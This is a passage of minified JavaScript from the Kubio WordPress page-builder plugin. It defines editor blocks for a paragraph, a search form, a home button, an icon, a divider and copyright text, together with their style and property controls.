align","kubio"),path:"textAlign",useContentAlignIcons:!1,defaultValue:r,type:He.WithDataPathTypes.STYLE,style:cy}),t&&Object(xe.createElement)(Re.ToggleControl,{label:Object(We.__)("Lead","kubio"),onChange:i,value:s}),o&&Object(xe.createElement)(Re.ToggleControl,{label:Object(We.__)("Drop cap","kubio"),onChange:c,value:u})),n)})),gy=e=>{let{showLead:t=!0,showDropCap:o=!1,afterTextProperties:n,atEndOfTextProperties:a,title:l=Object(We.__)("Paragraph properties","kubio")}=e;return Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Oy,{showLead:t,showDropCap:o,atEndOfTextProperties:a,title:l}),n)};var yy=e=>{const{withTextShadow:t=!0,styleTitle:o=Object(We.__)("Text","kubio")}=e,{dataHelper:n}=Object(He.useKubioBlockContext)(),a=n.getProp("isLead")?"lead":"p";return Object(xe.createElement)(Le.PanelBody,{title:o},Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Text color","kubio"),path:"typography.color",type:He.WithDataPathTypes.STYLE,defaultValue:Object(tl.useInheritedTypographyValue)(a,"color")}),Object(xe.createElement)(Re.TypographyControlPopupWithPath,{path:"typography",type:He.WithDataPathTypes.STYLE,nodeType:a}),t&&Object(xe.createElement)(Re.TextShadowControlPopupWithPath,{path:"textShadow",type:He.WithDataPathTypes.STYLE}))};const jy=e=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(yy,e));var ky=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(gy,{showDropCap:!0}),Object(xe.createElement)(jy,null),Object(xe.createElement)(hy,e))}));const Ey={name:"kubio/text",category:"kubio-basic",attributes:{kubio:{type:"object"},content:{type:"string",source:"html",default:""},dropCap:{type:"boolean",default:!1}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{},props:{isLead:!1}},elementsEnum:{TEXT:"text",FIRSTLETTER:"first-letter"},elementsByName:{text:{default:!0,wrapper:!0,selector:"p.wp-block.wp-block-kubio-text__text",selectorPrepend:!0,props:{tag:"p"}},"first-letter":{selector:"&::first-letter"}},template:{type:"element",props:{name:"text"}}}}},fy=Object(nn.extendBlockMeta)(Ey,{title:Object(We.__)("Paragraph","kubio"),keywords:[Object(We.__)("text","kubio"),Object(We.__)("paragraph","kubio")],icon:on.BlockIcons.Paragraph,apiVersion:2,supports:{kubio:{elementsByName:uy,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:ky,merge:(e,t)=>({content:(e.content||"")+(t.content||"")}),save:e=>{let{attributes:t}=e;return Object(xe.createElement)(De.RichText.Content,{value:t.content})},variations:[{name:"default",isDefault:!0,title:Object(We.__)("Paragraph","kubio"),description:Object(We.__)("Add text that can be stylized your way: from font-family, font-weight, and size, to color, borders, and shadows.","kubio"),attributes:{content:"Lorem ipsum dolor sit amet, at mei dolore tritani repudiandae. In his nemore temporibus consequuntur, vim ad prima vivendum consetetur. Viderer feugiat at pro, mea aperiam"}}]}),vy="placeholder",_y="form",Cy="input",Iy="button",Ty="icon",Sy={["outer"]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.TRANSITION,cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.NONE}},[Cy]:{label:Object(We.__)("Input","kubio"),supports:{styles:[cn.StylesEnum.TRANSITION,cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BUTTON}},[Iy]:{label:Object(We.__)("Button","kubio"),supports:{styles:[cn.StylesEnum.TRANSITION,cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}},[vy]:{label:Object(We.__)("Placeholder","kubio"),supports:{styles:[cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}},[_y]:{label:Object(We.__)("Form","kubio"),internal:!0},[Ty]:{label:Object(We.__)("Icon","kubio"),internal:!0,supports:{states:cn.StatesPresetsEnum.BASIC}}},wy=Object(Me.compose)(Object(He.withColibriData)((e=>{const t=e.getProp("layout",""),o=e.getProp("buttonType"),n="inputAndButton"===t,a="icon"===e.getProp("buttonType");return{layout:t,buttonType:o,inputPlaceholder:e.getAttribute("placeholderText",""),buttonText:e.getProp("buttonText",""),icon:e.getAttribute("iconName",""),showInput:!0,showButton:n,showButtonIcon:a}})),Object(He.withStyledElements)((()=>({[_y]:{className:()=>["d-flex search-form"]},[Iy]:{className:()=>["search-button"]},[Cy]:{className:()=>["search-input"]}}))))((e=>{const{computed:t,StyledElements:o}=e,{layout:n,buttonType:a,inputPlaceholder:l,buttonText:r,icon:i}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(o.Outer,null,Object(xe.createElement)(o.Form,null,Object(xe.createElement)(o.Input,{placeholder:l}),Object(xe.createElement)(o.Button,{onClick:e=>{e.preventDefault(),e.stopPropagation()},shouldRender:"inputAndButton"===n},Object(xe.createElement)(o.Icon,{tag:Re.CanvasIcon,name:i,shouldRender:"icon"===a}),"text"===a&&r))))})),Py=()=>Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Placeholder text","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"placeholderText"}),Ay=[{label:Object(We.__)("Icon","kubio"),value:"icon"},{label:Object(We.__)("Text","kubio"),value:"text"}],By=Object(He.withComputedData)((e=>{const t=e.getProp("layout");return{buttonType:e.getProp("buttonType"),showButtonOptions:"inputAndButton"===t}}))((e=>{let{computed:{buttonType:t,showButtonOptions:o}}=e;return o&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.ToggleGroupWithPath,{options:Ay,label:Object(We.__)("Button type","kubio"),type:He.WithDataPathTypes.PROP,path:"buttonType"}),"text"===t&&Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Button text","kubio"),type:He.WithDataPathTypes.PROP,path:"buttonText"}),"icon"===t&&Object(xe.createElement)(Re.IconPickerWithPath,{path:"iconName",type:He.WithDataPathTypes.ATTRIBUTE}))})),Ny=[{label:Object(We.__)("Input and button","kubio"),value:"inputAndButton"},{label:Object(We.__)("Input only","kubio"),value:"inputOnly"}],xy=e=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Search Properties","kubio")},Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Layout","kubio"),options:Ny,type:He.WithDataPathTypes.PROP,path:"layout"}),Object(xe.createElement)(Py,null),Object(xe.createElement)(By,null)));var Ry=Object(He.withComputedData)((e=>({dataHelper:e})))((e=>{let{computed:t}=e;const{dataHelper:o}=t,n={type:He.WithDataPathTypes.STYLE,style:Cy},a="normal",[l,r]=Object(xe.useState)(a),i=[{value:a,label:Object(We.__)("Normal","kubio")},{value:"hover",label:Object(We.__)("Hover","kubio")}],c={normal:Object(tl.useInheritedTypographyValue)("p","color"),hover:Object(tl.useInheritedTypographyValue)("p","color")},s={value:o.getStyle("color",c[l],{styledComponent:Cy,state:l}),onChange:e=>{o.setStyle("color",e,{styledComponent:Cy,state:l}),o.setStyle("color",e,{styledComponent:vy,state:l})},onReset:e=>{o.setStyle("color",{},{styledComponent:Cy,unset:!0,state:l}),o.setStyle("color",{},{styledComponent:vy,unset:!0,state:l})}};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Input Style","kubio")},Object(xe.createElement)(Re.ToggleGroup,{options:i,value:l,onChange:e=>r(e)}),Object(xe.createElement)(Re.ColorIndicatorPopover,Object(ut.a)({label:Object(We.__)("Text color","kubio"),state:l,showReset:!0},s)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background color","kubio"),path:"background.color",state:l},n)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Border color","kubio"),path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],state:l},n)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border"},n,{withColor:!1})),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography",type:He.WithDataPathTypes.STYLE,withLineHeight:!1},n)))})),Dy=Object(He.withComputedData)((e=>({layout:e.getProp("layout"),buttonType:e.getProp("buttonType")})))((e=>{let{computed:{buttonType:t}}=e;const o={type:He.WithDataPathTypes.STYLE,style:Iy},n={type:He.WithDataPathTypes.STYLE,style:Ty},a="normal",[l,r]=Object(xe.useState)(a),i=[{value:a,label:Object(We.__)("Normal","kubio")},{value:"hover",label:Object(We.__)("Hover","kubio")}];return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Button Style","kubio")},Object(xe.createElement)(Re.ToggleGroup,{options:i,value:l,onChange:e=>r(e)}),"icon"===t&&Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Icon color","kubio"),path:"fill"},n,{state:l})),"text"===t&&Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color"},o,{state:l})),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background color","kubio"),path:"background.color"},o,{state:l})),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Border color","kubio"),path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],state:l},o)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),"icon"===t&&Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon size","kubio"),path:"size",max:100,capMax:!0,capMin:!0},n)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Button width","kubio"),max:200,path:"width"},o)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border"},o,{withColor:!1})),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography",withLineHeight:!1},o)))}));const Ly=Object(He.withComputedData)((e=>({layout:e.getProp("layout"),buttonType:e.getProp("buttonType")})))((e=>{let{computed:{layout:t,buttonType:o}}=e;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Ry,null),"inputAndButton"===t&&Object(xe.createElement)(Dy,{buttonType:o}))})),My=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Ly,null));var Wy=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(xy,null),Object(xe.createElement)(My,e),Object(xe.createElement)(wy,e))}));const Hy=Object(We.__)("Add a search bar to your blog or website to ensure smooth and intuitive navigation of your visitors.","kubio"),Gy={name:"kubio/search-form",category:"kubio-site-data",attributes:{kubio:{type:"object"},placeholderText:{type:"string",default:"Search..."},iconName:{type:"string",default:"font-awesome/search"}},supports:{kubio:{appearanceEffect:!0,default:{props:{layout:"inputAndButton",buttonType:"icon",buttonText:"Search"},style:{descendants:{input:{border:{top:{width:{value:1,unit:"px"},style:"solid"},right:{width:{value:1,unit:"px"},style:"solid"},bottom:{width:{value:1,unit:"px"},style:"solid"},left:{width:{value:1,unit:"px"},style:"solid"}}},button:{width:{unit:"px",value:60},background:{}},icon:{size:{value:16}}}}},elementsEnum:{OUTER:"outer",PLACEHOLDER:"placeholder",FORM:"form",INPUT:"input",BUTTON:"button",ICON:"icon",BUTTONTEXT:"buttonText"},elementsByName:{outer:{wrapper:!0,default:!0,className:["search-form-container"]},placeholder:{selector:{normal:".search-input::placeholder",hover:".search-input:hover::placeholder"}},form:{props:{tag:"form"},className:["search-form"]},input:{props:{tag:"input"},className:["search-input"]},button:{props:{tag:"button"},className:["search-button"]},icon:{props:{tag:"icon"},className:["button-icon"]},buttonText:{props:{tag:"span"}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"form"},children:[{type:"element",props:{name:"lightbox"}},{type:"element",props:{name:"input",shouldRender:"computed.showInput"}},{type:"element",props:{name:"button",shouldRender:"computed.showButton"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showButtonIcon"}},{type:"element",props:{name:"buttonText",shouldRender:"computed.showButtonText"}}]}]}]}}}},Uy=Object(nn.extendBlockMeta)(Gy,{title:Object(We.__)("Search","kubio"),icon:on.BlockIcons.Search,keywords:[Object(We.__)("find","kubio"),Object(We.__)("search","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Sy,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:Wy,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:Hy}:e}),Fy=Object(un.mergeNoArrays)({},Tc,{spacing:{internal:!0}});var zy=Object(He.composeWithKubioDataAndStyle)((e=>{const{StyledElements:t}=e;return Object(xe.createElement)(t.Spacing,null,Object(xe.createElement)(ng,Object(ut.a)({},e,{dynamicLink:!0,withToolbar:!1,withAlign:!0})))}));const Vy=Object(nn.extendBlockMeta)({name:"kubio/button",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Button text"},link:{type:"object"},preserveSpace:{type:"object"},icon:{type:"object",default:{name:null}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{justifyContent:"center",typography:{decoration:"none"}},icon:{margin:{left:{value:10},right:{value:10}}}}},props:{buttonSize:"medium",buttonWidth:"fitToContent",showIcon:!1,iconPosition:"before"}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"span",className:["kubio-button-container"]}},link:{default:!0,prefixWithTag:!0,useWrapperPrefix:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}}}},{name:"kubio/home-button",category:"kubio-site-data",supports:{kubio:{appearanceEffect:!0,elementsEnum:{SPACING:"spacing"},elementsByName:{spacing:{tag:"div",className:["h-w-100"],wrapper:!0,default:!0}},default:{style:{descendants:{spacing:{textAlign:"center"},link:{background:{color:"rgba(var(--kubio-color-1),1)"},typography:{color:"#ffffff"}}}}},template:{type:"element",children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}]}}}}),Yy=Object(nn.extendBlockMeta)(Vy,{title:Object(We.__)("Home Button","kubio"),keywords:[Object(We.__)("home","kubio")],icon:on.BlockIcons.HomeButton,apiVersion:2,supports:{kubio:{elementsByName:Fy},reusable:!1,html:!1},edit:zy,save:e=>{let{attributes:t}=e;return Object(xe.createElement)(De.RichText.Content,{value:t.text})}});Object(He.onBlockVariationRegistered)(Yo.BUTTON,((e,t)=>{if(!e.isDefault)return!1;const{name:o,title:n}=Yy;return t(o,{...e,name:o,title:n,description:Object(We.__)("Whenever the website visitors will click on this button, they’ll be taken to your homepage. Place it on all of your pages for better navigation.","kubio"),attributes:{...e.attributes,text:Object(We.__)("Go to Homepage!","kubio"),icon:{name:"font-awesome/arrow-right"},kubio:{...e.attributes.kubio,props:{...e.attributes.kubio.props,buttonSize:"medium",showIcon:!1,iconPosition:"after",textAlign:"center"}}}}),!0}));const $y=e=>{const{computed:t,StyledElements:o}=e,{name:n,link:a}=t;return Object(xe.createElement)(o.Outer,null,Object(xe.createElement)(Re.LinkWrapper,{link:a},Object(xe.createElement)(o.Inner,{tag:Re.CanvasIcon,name:n})))},Ky=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>({name:e.getAttribute("name"),link:e.getAttribute("link")}))),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[xu.OUTER]:{},[xu.INNER]:{}}})),Object(He.withRedirectSelectionToParentCondition)([Yo.DOWN_ARROW])),qy=Ky($y);Ky($y),Object(Ae.addFilter)("kubio.allowedRightClick","kubio.allowedRightClick.icon",((e,t)=>(t.blockName!==Yo.ICON||t.withParent().blockName!==Yo.SLIDER_ARROW)&&e));var Xy=Object(Me.createHigherOrderComponent)((e=>t=>{const{dataHelper:o}=Object(He.useKubioBlockContext)(),n=o.withParent().blockName===Yo.VIDEO;return Object(xe.createElement)(e,Object(ut.a)({},t,{withLinkControl:n?!n:t.withLinkControl,withAlignControl:n?!n:t.withAlignControl}))}),"checkParent")((e=>{let{withLinkControl:t,withAlignControl:o,styledContainer:n=xu.OUTER,path:a="name"}=e;const l=Object(tl.useInheritedTextAlign)();return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Icon Properties","kubio")},Object(xe.createElement)(Re.IconPickerWithPath,{path:a,type:He.WithDataPathTypes.ATTRIBUTE}),o&&Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{path:"textAlign",defaultValue:l,type:He.WithDataPathTypes.STYLE,style:n}),t&&Object(xe.createElement)(Re.LinkControlWithData,{label:Object(We.__)("Icon link","kubio")}))}));const Qy=e=>{let{withLinkControl:t=!0,withAlignControl:o=!0,styledContainer:n=xu.OUTER}=e;return Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Xy,{withLinkControl:t,withAlignControl:o,styledContainer:n}))},Zy=e=>{let{styledElement:t=xu.INNER}=e;return Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Nu,{styledElement:t}),Object(xe.createElement)(Lu,{styledElement:t}))};const Jy=Object(We.__)("Add attractive icons to web pages. 100+ free icons are available from the most popular libraries out there. Fully customizable.","kubio"),ej={name:"kubio/icon",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},name:{type:"string",default:"font-awesome/star"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{wrapper:!0},inner:{default:!0,props:{tag:"icon",className:["h-global-transition"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"inner"}}]}]},default:{style:{descendants:{inner:{width:{value:"100",unit:"px"},height:{value:"100",unit:"px"}}}}}}}},tj=Object(nn.extendBlockMeta)(ej,{title:Object(We.__)("Icon","kubio"),keywords:[Object(We.__)("icon","kubio"),Object(We.__)("symbol","kubio")],icon:on.BlockIcons.Icon,apiVersion:2,supports:{kubio:{elementsByName:Ru,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Qy,null),Object(xe.createElement)(Zy,null),Object(xe.createElement)(qy,e))},variationsFilter:e=>null!=e&&e.isDefault?{...e,description:Jy}:e}),oj="outer",nj="line",aj="inner",lj="width-container",rj={[aj]:{label:Object(We.__)("Icon","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal"]}},[nj]:{label:Object(We.__)("Line","kubio"),supports:{styles:[cn.StylesEnum.BORDER],states:["normal"],filters:{border:{supportsBorder:!1,allowInset:!1}}}},[oj]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal"]}}},ij="icon",cj=[{value:"solid",label:Object(We.__)("Solid","kubio")},{value:"dashed",label:Object(We.__)("Dashed","kubio")},{value:"dotted",label:Object(We.__)("Dotted","kubio")},{value:"double",label:Object(We.__)("Double","kubio")}],sj=Object(Me.compose)(Object(He.withColibriData)((e=>({type:e.getProp("type"),icon:e.getAttribute("iconName","")}))),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[oj]:{className:()=>[]},[nj]:{className:()=>[]},[aj]:{className:()=>[]}}}))),uj=sj((e=>{const{computed:t,StyledElements:o}=e,{type:n,icon:a}=t;return Object(xe.createElement)(o.Outer,null,Object(xe.createElement)(o.WidthContainer,null,Object(xe.createElement)(o.Line,null),n===ij?Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(o.Inner,{tag:Re.CanvasIcon,name:a}),Object(xe.createElement)(o.Line,null)):null))}));var pj=Object(He.withColibriDataAutoSave)((e=>({dividerType:e.getProp("type"),setDividerType:t=>e.setProp("type",t)})))((e=>{let{computed:t,...o}=e;const{dividerType:n,setDividerType:a}=t,[l,r]=Object(xe.useState)(n===ij);return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Divider Properties","kubio")},Object(xe.createElement)(Re.InlineLabeledControl,{label:Object(We.__)("With icon","kubio")},Object(xe.createElement)(Re.ToggleControl,{value:l,onChange:e=>{r(e),a(e?ij:"line")}})),Object(xe.createElement)((e=>e.dividerType===ij?Object(xe.createElement)(Re.IconPickerWithPath,{path:"iconName",type:He.WithDataPathTypes.ATTRIBUTE}):""),{dividerType:n}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{path:"textAlign",type:He.WithDataPathTypes.STYLE,style:oj}))}));const bj=e=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(pj,null)),mj={styledComponent:aj};var dj=Object(He.withComputedData)((e=>({iconSpacing:{value:e.getStyle("margin.left",{},mj),onChange:t=>{e.setStyle("margin.left",t,mj),e.setStyle("margin.right",t,mj)}},dividerType:e.getProp("type")})))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:aj},{iconSpacing:n,dividerType:a}=t;return a===ij&&Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Icon","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Icon color","kubio"),path:"fill"},o)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon size","kubio"),max:100,path:"size",value:40,defaultSliderValue:40,resetValue:40},o)),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Icon spacing","kubio"),max:50},n)))}));const hj={type:He.WithDataPathTypes.STYLE,style:nj},Oj={units:[{label:"PX",value:"px"},{label:"%",value:"%"}],optionsByUnit:{px:{min:0,max:500,step:1},"%":{min:0,max:100,step:1}}},gj=Object(He.withComputedData)((e=>({spacing:{value:e.getStyle("padding.top",null,{styledComponent:oj}),onChange:t=>{const o={styledComponent:oj};e.setStyle("padding.top",t,o),e.setStyle("padding.bottom",t,o)}}})))((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:props;const{spacing:t}=e;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Line","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Color","kubio"),path:"border.bottom.color"},hj)),Object(xe.createElement)(Re.SelectControlWithPath,Object(ut.a)({label:Object(We.__)("Line type","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"border.bottom.style",className:"line-type",options:cj},hj)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Thickness","kubio"),min:1,max:10,path:"border.bottom.width",resetValue:3},hj)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Width","kubio"),path:"width"},Oj,{type:He.WithDataPathTypes.STYLE,style:lj})),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Vertical spacing","kubio"),max:100,min:0},t)))}));var yj=gj;const jj=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(yj,null),Object(xe.createElement)(dj,null));var kj=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(bj,null),Object(xe.createElement)(jj,null),Object(xe.createElement)(uj,e))}));const Ej=Object(We.__)("Use dividers to separate website sections in a creative way. Customize their color, line thickness, and more.","kubio"),fj={name:"kubio/divider",category:"kubio-basic",attributes:{kubio:{type:"object"},iconName:{type:"string"}},supports:{kubio:{appearanceEffect:!0,default:{props:{type:"icon"},style:{descendants:{line:{border:{top:{style:"none"},left:{style:"none"},right:{style:"none"},bottom:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:3,unit:"px"}}}},"width-container":{width:{value:100,unit:"px"}},outer:{padding:{top:{value:10,unit:"px"},bottom:{value:10,unit:"px"}}},inner:{fill:"rgba(var(--kubio-color-1),1)",width:{value:40,unit:"px"},height:{value:40,unit:"px"},margin:{left:{value:"10",unit:"px"},right:{value:"10",unit:"px"}}}}}},elementsEnum:{OUTER:"outer",LINE:"line",INNER:"inner",WIDTH_CONTAINER:"width-container"},elementsByName:{outer:{wrapper:!0,default:!0,className:["kubio-divider"]},"width-container":{internal:!0},line:{className:["canvas-divider"]},inner:{props:{tag:"icon"}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"width-container"},children:[{type:"element",props:{name:"line"}},{type:"element",props:{name:"inner",shouldRender:"computed.iconEnabled"}},{type:"element",props:{name:"line",shouldRender:"computed.iconEnabled"}}]}]}}}},vj=Object(nn.extendBlockMeta)(fj,{title:Object(We.__)("Divider","kubio"),icon:on.BlockIcons.Divider,keywords:[Object(We.__)("separator","kubio"),Object(We.__)("hr","kubio"),Object(We.__)("divider","kubio"),Object(We.__)("line","kubio")],apiVersion:2,supports:{kubio:{elementsByName:rj},reusable:!1,html:!1},edit:kj,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:Ej}:e}),_j="container",Cj={[_j]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}}},Ij='© {year} {site-name}. Built using WordPress and <a target="_blank" href="#">{site-name}</a>',Tj=Object(Me.compose)(Object(He.withColibriData)((e=>({template:e.getAttribute("template")}))),Object(Ve.withSelect)((e=>{const{getEntityRecord:t}=e("core");return{siteName:(t("root","__unstableBase",void 0)||{}).name}})),Object(He.withStyledElements)())((e=>{const{computed:t,StyledElements:o,siteName:n}=e,{template:a}=t,l=Object(xe.useMemo)((()=>{let e=a||Ij;return e=e.replace(/{year}/g,(new Date).getFullYear()).replace(/{site-name}/g,n),e=`<p>${e}</p>`,e.replace(/href=['"](.*?)['"]/gim,"")}),[a,n,Ij]);return Object(xe.createElement)(o.Outer,null,Object(xe.createElement)(xe.RawHTML,null,l))})),Sj={toolbar1:"bold,italic,link,kubioTags",onSetup:e=>{e.addButton("kubioTags",{text:Object(We.__)("Tags","kubio"),type:"menubutton",menu:[{text:Object(We.__)("Year","kubio"),onclick(){e.insertContent("{year}")}},{text:Object(We.__)("Site name","kubio"),onclick(){e.insertContent("{site-name}")}}]})}};var wj=Object(He.withColibriDataAutoSave)((()=>{}))((()=>Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Copyright Text","kubio")},Object(xe.createElement)(Re.TinymceControlWithPath,{label:Object(We.__)("Copyright text","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"template",editorSettings:Sj}))));const Pj=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(wj,null));var Aj=()=>{const e={type:He.WithDataPathTypes.STYLE,style:_j};return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Text","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color"},e,{defaultValue:Object(tl.useInheritedTypographyValue)("p","color")})),Object(xe.createElement)(Re.TypographyControlPopupWithPath,{path:"typography",type:He.WithDataPathTypes.STYLE,nodeType:"p"}),Object(xe.createElement)(Re.TextShadowControlPopupWithPath,{path:"textShadow",type:He.WithDataPathTypes.STYLE}))};const Bj=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Aj,null));var Nj=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Pj,null),Object(xe.createElement)(Bj,null),Object(xe.createElement)(Tj,e))}));const xj={name:"kubio/copyright",category:"kubio-site-data",attributes:{kubio:{type:"object"},template:{type:"string",source:"html",default:'© {year} {site-name}. Created with ❤️ using WordPress and <a target="_blank" href="https://kubiobuilder.com" rel="noreferrer">Kubio</a>'}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",CONTAINER:"container"},elementsByName:{outer:{wrapper:!0},container:{default:!0,selector:"p"}},template:{type:"element",props:{name:"outer"}}}}},Rj=Object(nn.extendBlockMeta)(xj,{title:Object(We.__)("Copyright Text","kubio"),description:Object(We.__)("Add a stylish copyright notice to your website whenever it becomes available to the public.","kubio"),keywords:[Object(We.__)("copyright","kubio"),Object(We.__)("trademark","kubio")],icon:on.BlockIcons.Copyright,supports:{kubio:{elementsByName:Cj},reusable:!1,html:!1},edit:Nj,save:e=>{let{attributes:t}=e;return 